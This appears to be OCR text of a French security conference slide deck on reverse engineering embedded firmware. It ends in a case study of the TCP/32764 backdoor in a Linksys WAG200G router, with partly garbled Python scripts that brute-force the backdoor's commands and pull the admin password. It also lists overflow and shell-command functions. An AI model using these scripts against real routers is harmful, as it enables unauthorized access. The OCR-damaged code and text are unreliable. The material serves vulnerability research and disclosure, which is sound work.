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$ whoami

® Eloi Vanderbeken
® @elvanderb

® eloi.vanderbeken — AT — synacktiv.com
= Synacktiv

= http://www.synacktiv.ninja

= Plus de 3 ans d'existence

= 10 consultants (et on recrute encore !)

B« Société d'expertise en sécurité des systemes d'information »

= La ouy ade lasécurité, des systemes et de l'information

= Pentests internes et externes, exercices Red-Team, attaques client-
side, réponse a incident, reverse-engineering, recherche et
exploitation de vulnérabilités, intrusions couplées physiques et
logiques, etc
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http://www.synacktiv.ninja/

Sujet de cette presentation

= De plus en plus de systemes embarques...

® Souvent connectés a Internet
m Cycles de développement / vie courts
m Parfois trés sensibles

= Acces VPN, firewalls, appliances censées vous sauver des méchantes
APTs...

= Systemes...

m closed source
® (souvent) sans interface de debug
m (parfois) avec des backdoor

m C'estla mode!

® De plus en plus de publications a ce sujet...

m ... de plus en plus de bad guys cherchent et exploitent les vulnérabilités
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. Premiers pas

Repérer sa cible, préparer ses outils

N
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Recupération du firmware

= Mises a jour

m Site de I'éditeur

m  Site tiers : http://www.modem-help.co.uk/
= Recherche et exploitation d'une vulnérabilité

1 - Recherche de vulnérabilités avec un compte administrateur
2 - Récupération du firmware
3 - Recherche de vulnérabilités pré-authentification
4- ...
5- Profit !
® Dump matériel
m Utilisation du port JTAG, d'un port série, etc.
m  Nécessite parfois des modifications du matériel

®m Pas 'objet de cette présentation ©

® Plus d'informations : http://www.devttysO.com
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http://www.modem-help.co.uk/
http://www.devttys0.com/

Utilisation d'un analyseur logique

Start : W Annotations

00  Channel 0

: 12E(OFE0] WEIOADS) ‘OI(OH0] {OU0HO0) 137I(04BS)
Channel 1 i

W Analyzers
02 Channel 2 Asyne Serial
03 Channel 3
4 Channel 4

W Decoded Protocols
05 Channel 5

5 Channel 6

7 Channel 7

)= Capture

=.SYN 6/41
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Analyse du firmware

= Reconnaissance du format
® Format de mise-a-jour propriétaire
= ELF

m Exécutable
m Etc.

m ldentification de I'architecture
m Recherche du SoC + Google

m Chaines de caracteres dans le firmware

m  Patterns d'instructions spécifiques

1sOYN

Il M DIGITAL SECURITY



_'outil binwalk

® http://binwalk.org/

= Signatures

m Fichiers

m Systéme de fichiers

m Formats spécifiques aux constructeurs

® Chaines de copyright

® Prologues de fonctions dans différents langages assembleurs
= Eftc.

= Extraction automatique des fichiers reconnus

® Visualisation en 2D/ 3D
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http://binwalk.org/

L'outil binwalk - cont'd
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L'outil IDA

m Désassembleur bien connu

= Supporte I'ajout de loaders en python

®m  Ajout du support pour des SoC en moins d'une centaine de lignes

®  http://www.devttys0.com/2012/03/writing-a-bflt-loader-for-ida/

= Ne pas hésiter a coder des scripts en Python pour
faciliter et automatiser I'analyse

® |DA n'est pas magique et rate pas mal de choses
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http://www.devttys0.com/2012/03/writing-a-bflt-loader-for-ida/

Exemples de scripts IDA

® Trouver I'ensemble des fonctions non listées par IDA
m Rechercher des patterns d'instructions
= Trouver lI'adresse de base (image base) d'un firmware

m Lister I'ensemble des DWORD

m Chercher I'ensemble des offset pour les chaines de caracteres dans le binaire
(ou de fonctions, de structure etc.)

m  Chercher quelle image base donne le plus grand nombre de correspondances
offset + image base «— DWORD

= Trouver la boucle principale du serveur HTTP

m Trouver I'ensemble des fonctions faisant référence aux chaines POST, GET,
HTTP, etc.

®=  Construire un graphe de référence

® La racine est probablement la boucle principale
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. Phase de recherche

Ou chercher et trouver des vulnérabilités
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L ]
Découverte des binaires interessants I

® Scan des services exposeés avec l'outil nmap

® Puis grep!
® APl intéressantes : bind / socket | system [ fonctions du firmware / ...
m  Scripts d'initialisations
m Messages de l'interface WEB

= efc.
= Emulation du périphérique a I'aide de QEMU

® Nombreuses architectures disponibles sur
http://people.debian.org/~aurel32/gemu/

®m  Transfert du systeme de fichiers

® chroot + exécution des scripts d'initialisation
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http://people.debian.org/~aurel32/qemu/

Ou chercher ?

= Binaires écoutant sur des ports bizarres

m  Qutils de maintenance ou de diagnostique (CVE-2014-0659 /
TCP/32764)

® Protocoles etranges implementés de maniere généralement vulnerable
(CVE-2015-3036 — TCP/20005 - NetUSB)

m Serveurs HTTP

® Souvent de grosses machines a état
= Bypass d'authentification
= Bypass de restrictions
= Tout ce qui est basé sur du code open source

m Souvent modifiés...

® ... rarement patches.
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Ou chercher ? - cont'd

= Les outils de configuration automatiques
= Mots de passe codeés en dur
m  Services cachés
= Les vulnérabilités des années '90
m Shell escape
m  Stack based buffer overflow
®m  fFormat string
= Les vulnérabilités web classiques
= [njections SQL
Souvent des SGBD customisés
Nécessite de modifier un peu les outils
®m |e reste du top 10 OWASP
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Cas pratique

Backdoor TCP/32764
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https://github.com/elvanderb/TCP-32764/blob/master/backdoor_description_for_those_who_don-t_like_pptx.pdf?raw=true

Pendant noel...
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(1Mb/s) / (10 users * 68dB) l=

1B
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Mais quelques années plus
tot...

WLAN

Management via
-_:I,-_Mf Enable *“ Disable

’ /me maintenant
L/
r‘_‘:

WAG 200G

x- 3

/ Gateway Access
Local Gateway Access

/me then

Gateway Username. |admin
[ I“-..wﬁ:'-pﬁg'g"“-_,rﬂ EEEEEAEEREEE ARG E

Be-anbter 1o Confirm: | sessssssssssssssss

V\
Tres long et tres

complexe
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Impossible de trouver un Wi-Fi ]
ouvert... -

RIEN < A
—~ RIEN
blé
TREEEES LOIN :
\>
RIEN N Le DSLAM
vaches
\
N =7
R /
Q‘;} Maison
mais
RIEN <— B
@ S RIEN
L/ Betterave a sucre \
RIEN
(ou alors une vache) \l N Un petit
VRAIMENT RIEN Fr’I‘Z‘rJ] de
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Challenge

" Pas d'acces a la console d'administration
= Et pas le mot de passe de toute facon...
"= EN MANQUE DINTERNET!

CHALLENGE ACCEPTED
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Scan nmap

® Quelques ports intéressants

= ReAlM (http.//reaim.sourceforge.net/)

Probablement vulnérable...
= Service inconnu écoutant sur le port TCP/32764 (0x7ffc)

Répond scMm\xFF\xFF\xFF\xFF\x00\x00\x00\x00 @
n'importe quelle requéte
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GO-GO-GADGETO GOOGLE

03:53 AM #2

W June Tih, 200, 0456 P unSpawn - If itjs an officially IANA-assigned pqrt (with a number betwegn 0 and roughly_BOOOO)
Moderator then its number should correspond with a service in /etc/services (‘getent services
portnu , the services file of a scanner like Nmap or an online database like Sans'
imizoguchi @ Registered: May 2001 ISC. *z gt ephemeral port usage can be configured locally using the /proc/sys/
] S e FEEER Ho 2L net/ipv4 aI por‘t range sysctl. An old default was 1024-5000, for servers a value
= B yEToEAR Fanatic Hie EmifEs: U of 32768-61 d and some applications want something like 1025-65535. *Also
. note these are sta er-to-service mappings and while for instance /etc/services
- i s will say TCP/22 matchef t doesn't t’?apvegto be the case in a particular situation,
| Re: What is ranming on TCP par S3T847 - Else if it's a port of which df know which process did bind to it then if you
. have access to the host you can l’ ate it using 'netstat -anp’, 'Isof -w -n -i
hitp fwrwew linucquestions orgiquesti . 3152-3-558331 protocoligortnumber' or 'fuser -n protél number' *This is the most accurate
method Q
- Else if you do not have access to the host §d interrogate it by for instance
telnetting to it *This is not an accurate method an ase of a compromised host
you may alert the intruder you're on her case. f
If you have access to the host you'll probably find the short- Ilvedgliss died and the
port isn't bound anymore. 0,.
4
1 Answer active votes
Hmm, weird.

3 Hex ff = Decimal 255, so logically the response you are receiving is equivalent to

MMcS 255.255.255.255 0.0.0.0 (dots added for networking clarity) which to me is basically a broadcast
V address on your network. It could be stating that any ip on your network can use the MMCS service, i.e.
255255255 255 net mask 0.0.0.0.

There are a number of things that MMCS could be, such as the MultiMedia Class Scheduler that Vista is
able to use to get priority for multimedia traffic over the network. It would explain why the port is only
open on your local network too.

Also a bit of info on point 5 of the first post of this page

| doubt it would be something to do with MIP-MANET Cell Switching which appears to be something to do
with mobile phone networks. Wow there is some weird stuff that gets returned when you Google for

MMCS 255.255.255.255. Like this.

Mister Guessing 2010!

So I'd say it's most likely a port that allows the Windows MultiMedia Class Scheduler to talk to the router
to prioritize traffic, but it could be some weird funky mobile phone network stuff.

edited Jul 22 ™10 at 22:08 answered Jul 22 10 at 22:02

Mokubai
22.9k
5eoYN
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A . |
A |la peche au firmware ! B

Downloads
Please ensure you selectthe correct hardware version as not all downloads are compatible with your device. httD Z//SU DDOFt. “n kSVS.Com/en—us/suDoort/qatewavs/WAGZOOG/downIoad
Version 1.0 j Where's my model number?

-> FU Linksys!

No firmwareldriver download available

Re: WAG200G (FR) firmware upgrade

@' http://community.linksys.com/t5/Cable-and-DSL/WAG200G-F
E R-firmware-upgrade/m-p/233170
-> merci les utilisateurs !
Location: Home » Downloads Root / mfcs_L / LinkSys / WAG200G / Firmware / v1
Downloads File Listing for v1 _
http://download.modem-help.co.uk/mfcs-L/LinkSys/WAG200G
[Firmware/v1/
Name Size kB Modified Hits
Firmware <Parent Directory >

r1.01.01 <DIR> 2010-08-10 06:39 -> mOdem-heIp rOX !

ri.01.05 <DIR= 2010-08-10 06:39
ri.01.06 <DIR= 2010-11-13 09:58
ri.01.09 <DIR> 2010-11-13 05:42
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http://support.linksys.com/en-us/support/gateways/WAG200G/download
http://community.linksys.com/t5/Cable-and-DSL/WAG200G-FR-firmware-upgrade/m-p/233170
http://community.linksys.com/t5/Cable-and-DSL/WAG200G-FR-firmware-upgrade/m-p/233170
http://download.modem-help.co.uk/mfcs-L/LinkSys/WAG200G/Firmware/v1/
http://download.modem-help.co.uk/mfcs-L/LinkSys/WAG200G/Firmware/v1/

WHER 1Z U Red+-f$7]
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WHER IZ U Red+-f$7]

FFFFFFF

FFFFFFF
FFFFFF
FFFUU

In some s useful info is found in syslog - try vuuu
uuuu
uuuu
uuuu
Uuuu-

amesg Call r 50

tail

510

FFFFFFF

FFFFFFF
FFFFFF
FFFUU
uuuu
uuuu
uuuu
uuuy

uUuuu-

J

| ¥ wag200g-gpl » code » tools » makeimage » squashfs-tools »
LZMA C 2101272013 16:52 Dossier de fichiers @
R

€' compress.c 11/02/20 C source file 3 Ko
|| Makefile 16,/01,/200 Fichier 1 Ko -
€ mksquashfs.c 16/01,/2006 11:26 C source file 60 Ko

ftp://ftp.linksys.com/opensourcecode n'est plus

accessible aujourd'hui
IIIIEE;
10O YN
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Il est temps de faire du patchde HE
porc*wqualite ! u
® On récupere LZMA SDK 4.65

® On modifie le Makefile

® On tronconne le code source !

.fcompressor.c
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Et étrangement, ca marche

created B8 fifos

55OV N
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Ou est Charlie™wle
service ?

) -R ScMM ./

) -R MMcS

matches

[ I e I

matches

n_init match
auth matches

On utilise grep et IDA pour trouver le bon ©
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Reverse du binaire

" Pas de symbole, codé en MIPS

= || va falloir un minimum reverser
= MIPS est une architecture tres simple (RISC)

" Le protocole de communication est trés
simple

= En-téte (OxC bytes) suivi par la payload

® Structure de l'en-téte

packet header struc # (sizeocf=0xC)

signature: word 7
mesaage . word ?
payload size: word ?

racket header enda

oY N
[ |
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Simple, non ?

Dépassement
de tampon
dans le tas

il e B

packet header_payload size(




Messages...

el e

# switch 13 cases

5eOYN
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Plutot que de les étudier... HR
autant les bruteforcer u

socket
struct

sys

HOST = "192.168.1.1°
PORT i
def send T message
header Jtru:t pack('<
s.send(header+payload)
sig, ret val, ret 1 struct.unpack("<III",
(sig : 4D)
ret wal 3
ret_wval, "ERROR"
ret_str
len(ret_str) < ret_len :
ret str s.recv(ret_len-len(ret_str))
ret_val, ret_ str

ssag xrange(1, )

s - socket.socket(socket.AF _INET, socket.SOCK_STREAM)
s.settimeout(1)
5.CO ﬂﬂEttLLHDET PORT))
‘message : ¥d'“message
send_message(s, message)
r[1].encode( ' string escape')

"fail®

VN
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-~

WTFFFFFFUUUU

® Plus d'Internet ?!

PuTTY Fatal Error |:-_!-E-_-|

6 Mebtwork erron: Software caused connection abort

QK

= Et quand on relance le script...

Uppee
_auth_t

x00igmp proxy=1'\x00wlan mgr enable=1px00ippp
wa00upnp un

La configuration est reset ?!1?!!!
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Eloi Vanderbeken @elvandert

oe careful when yvou reverse undocumented
service on the family modem router ;D “Elaiii |
YWhy the internet is gone 71

pictwitter comito3Ygvcd2p

1i .1

la

nop

addin

aw

la

nop

addin

la

nop

addin

la , Avram set
nop

jalr t3 ; nvram ast
nop

1w Sgp, O0x10470+var_ 104
nop

la t3, nvram commit
nop

jalr (t9 ; nvram

VN
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Rapide reverse des differentes
fonctions...

1-
2-

Dump configuration (nvram)

Get configuration var

® possible stack based buffer overflow (si variable contrélée par I'utilisateur)
Set configuration var

® stack based buffer overflow, output buffer (size = 0x10000) sur la pile

Commit nvram
Bridge mode ON

Vitesse de la connexion (download/upload) cmd (oui c'est un shell...)

® Autres commandes :

buffer overflow sur cmd output (encore le méme tampon)...

write file
return version

return modem router ip

10- restore default settings
11- read /dev/imtdblock/0 [-4:-2]

12- dump nvram on disk (/tmp/nvram) and commit

1sOYN
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Recuperer un acces admin

socket
struct

Sys

'192.168.1.1°
32764

send_message(s, mes _
header - struct.pack(’- : 10, message, len(payload))
s.send(header+payload)
sig, ret val, ret len = struct.unpack("<III', s.recv( 1)
(sig )4D)
ret wval
ret_val, "ERROR™
ret str
len(ret_str) < ret_len :
ret str s.recv(ret_len-len(ret_str))
ret val, ret str

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
send _message(s, 2, "wlan_mgr_enable=1")

send _message(s, 2, "http password™)[1]

5eOYN
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Quelques ressources...

® Hors Série n°9 de MISC
®  Analyse de firmwares : cas pratique de la backdoor TCP/32764
= http://www.devttys0.com/

m « Dédie a lI'exploration, I'exploitation et I'amélioration des equipements
embarques »

® Embedded Devices Security And Firmware Reverse
Engineering :

= BlackHat 2013
= http://w00tsec.blogspot.com/

1sOYN

Il M DIGITAL SECURITY


http://www.devttys0.com/
https://media.blackhat.com/us-13/US-13-Zaddach-Workshop-on-Embedded-Devices-Security-and-Firmware-Reverse-Engineering-WP.pdf
http://w00tsec.blogspot.com/

AVEZ-VOUS
DES QUESTIONS ?

MERCI DE VOTRE ATTENTION,

5O YNACKTIV
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